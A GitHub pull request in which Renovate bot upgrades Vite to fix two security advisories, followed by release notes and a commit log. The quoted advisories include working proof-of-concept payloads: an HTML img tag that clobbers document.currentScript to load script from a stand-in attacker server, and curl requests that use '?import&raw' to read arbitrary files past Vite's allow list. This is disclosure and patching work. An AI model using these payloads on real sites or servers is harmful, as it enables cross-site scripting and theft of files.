Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

chore(deps): update dependency vite to v5 [security] #28147

Merged
merged 1 commit into from
Oct 7, 2024
Merged

chore(deps): update dependency vite to v5 [security] #28147

merged 1 commit into from
Oct 7, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Oct 7, 2024 •
edited
Loading

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) 3.2.11 -> 5.1.8 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Release Notes

vitejs/vite (vite)

v5.1.8

Compare Source

Please refer to CHANGELOG.md for details.

v5.1.7

Compare Source

Please refer to CHANGELOG.md for details.

v5.1.6

Compare Source

v5.1.5

Compare Source

v5.1.4

Compare Source

v5.1.3

Compare Source

v5.1.2

Compare Source

v5.1.1

Compare Source

v5.1.0

Compare Source

v5.0.13

Compare Source

Please refer to CHANGELOG.md for details.

v5.0.12

Compare Source

Please refer to CHANGELOG.md for details.

v5.0.11

Compare Source

v5.0.10

Compare Source

v5.0.9

Compare Source

v5.0.8

Compare Source

v5.0.7

Compare Source

v5.0.6

Compare Source

v5.0.5

Compare Source

v5.0.4

Compare Source

v5.0.3

Compare Source

v5.0.2

Compare Source

v5.0.1

Compare Source

v5.0.0

Compare Source

v4.5.5

Compare Source

v4.5.3

Compare Source

v4.5.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.0

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.12

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.11

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.10

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.9

Compare Source

v4.4.8

Compare Source

v4.4.7

Compare Source

v4.4.6

Compare Source

v4.4.5

Compare Source

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Oct 7, 2024
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from cfa1c82 to b2d0ea2 Compare October 7, 2024 10:56
@renovate renovate bot merged commit 677ec57 into 24_2 Oct 7, 2024
278 checks passed
@renovate renovate bot deleted the renovate/npm-vite-vulnerability branch October 7, 2024 16:12
ivanblinov2k17 added a commit to ivanblinov2k17/DevExtreme that referenced this pull request Oct 22, 2024
@ivanblinov2k17
Core: fix auto-fixable lint + create re-exports
0402c07 
Core: fix imports

Core: fix imports for templates

Core: fix/ignore eslint errors

Core: fix most of typescript issues

Core: fix most of extraneous TS errors (mostly redundant ts-expect-error)

Core: fix/ignore remaining extraneous errors

Core: fix broken renovation import

Core: fixed callOnce import

Core: fix TS lint errors

Core: fix component_registrator_callbacks reexport

Core: fixed missed Data reexport + silence Mock TS error

Core: fixed unwanted refactoring for renderer (using array methods on array-like objects)

Core: add missing template reexport

Core: fix artifacts of auto-replace

Core: Fix data and utils modules

Core: fix Error constructor

Core: fix viewport IIFE after lint changes and add it to lint ignore

Core: TEST - add lint ignore for all core, bring back changes, that seem significant to see how they impact test

Core: TEST - bring back non-significant cahanges to see if they impact tests

Core: fix tests for editors and core

Core: fix qunit part 2

Core: common default export + bring back executeAsyncMock 10 line

Core: fix textbox hanging test (blur)

Core: fix test Html editor - PopupModule mock window

Core: fix transitionExecutor + datebox knockout tests

Core: fix animation/fx tests

Core: fix animation/fx test part 2

Core: fix imageCreator exporter test

Core: fix defaultOption tests

Map - deprecate Bing provider (DevExpress#28127)

GridBaseOptions.columnFixing.texts.stickPosition -> GridBaseOptions.columnFixing.texts.stickyPosition (DevExpress#28133)

Co-authored-by: Roman Semenov

MultiView: improve swipe UX when some items are hidden (DevExpress#28128)

Fix CodeQL report errors (DevExpress#27874)

Selection: fix selection cache updating after selection change is canceled (DevExpress#28141)

Replace get-changed-files action with the shared one (DevExpress#28140)

MultiView: Add unit tests for keyboard navigation with hidden items (DevExpress#28137)

chore(deps): update dependency vite to v5 [security] (DevExpress#28147)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

chore(deps): update pnpm to v9.11.0 (DevExpress#28158)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

HtmlEditor: Get rid of showdown

Co-authored-by: marker dao ® <[email protected]>
Co-authored-by: Roman Semenov <[email protected]>

🎹 Pager: Create d.ts (DevExpress#28055)

Co-authored-by: alexlavrov <[email protected]>
Co-authored-by: ilyakhd <[email protected]>
Co-authored-by: Roman Semenov <[email protected]>

Pager - rename filename (DevExpress#28163)

HtmlEditor: Get rid of turndown

dxDiagram - fix T1251559, T1254101 (DevExpress#28168)

HtmlEditor: Remove markdown support

Map - add Azure provider in declarations (DevExpress#28126)

Chat: add empty view stories (DevExpress#28173)

Chat: Skip message rendering on send message (DevExpress#28170)

Co-authored-by: marker dao ® <[email protected]>

Refix "Storybook - fix project config (DevExpress#28085)" (DevExpress#28144)

Scheduler a11y: appointments does not have info about reccurence (DevExpress#28165)

Map - support Azure provider (DevExpress#28122)

Core: fix azure provider TS error

Core: fix m_svg to contain default export

Core: fix popup test

Core: fix regular popup tests

Core: Fix toolbar + loadIndicator

Core: Fix viz pieChart + rangeSelector

Core: fix desktopTooltip test

Core: fix ui-firefox

Core: Replace all imports Action, devices -> m_action, m_devices

Core:  domAdapter -> m_dom_adapter tests

Core: fix m_action export

Core: replace import support -> m_support

Core: dom -> m_dom;: common, type -> m_ only for helpers

Core: fix ui-firefox single test failures

Core: fix rowsView test

Core: fix pivotGrid async mocks

Core: fix pivotGrid dataSource.bundled

Core: dataSource bundled add missing inflector import

Core: internal support -> m_support

Core: use ts device in events to try to fix mobile tests

Core: remove unexpected ts-error

Core: replace dom->m_dom click event

Core: fix scrollable test (in mobileViewport)

Fix eslint rules and apply them to utils, templates, options and ignore errors

Core: modify eslint config, save core files

Core: fix metadata

Core: fix TS lint
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@github-actions github-actions[bot] github-actions[bot] approved these changes

Assignees
No one assigned
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants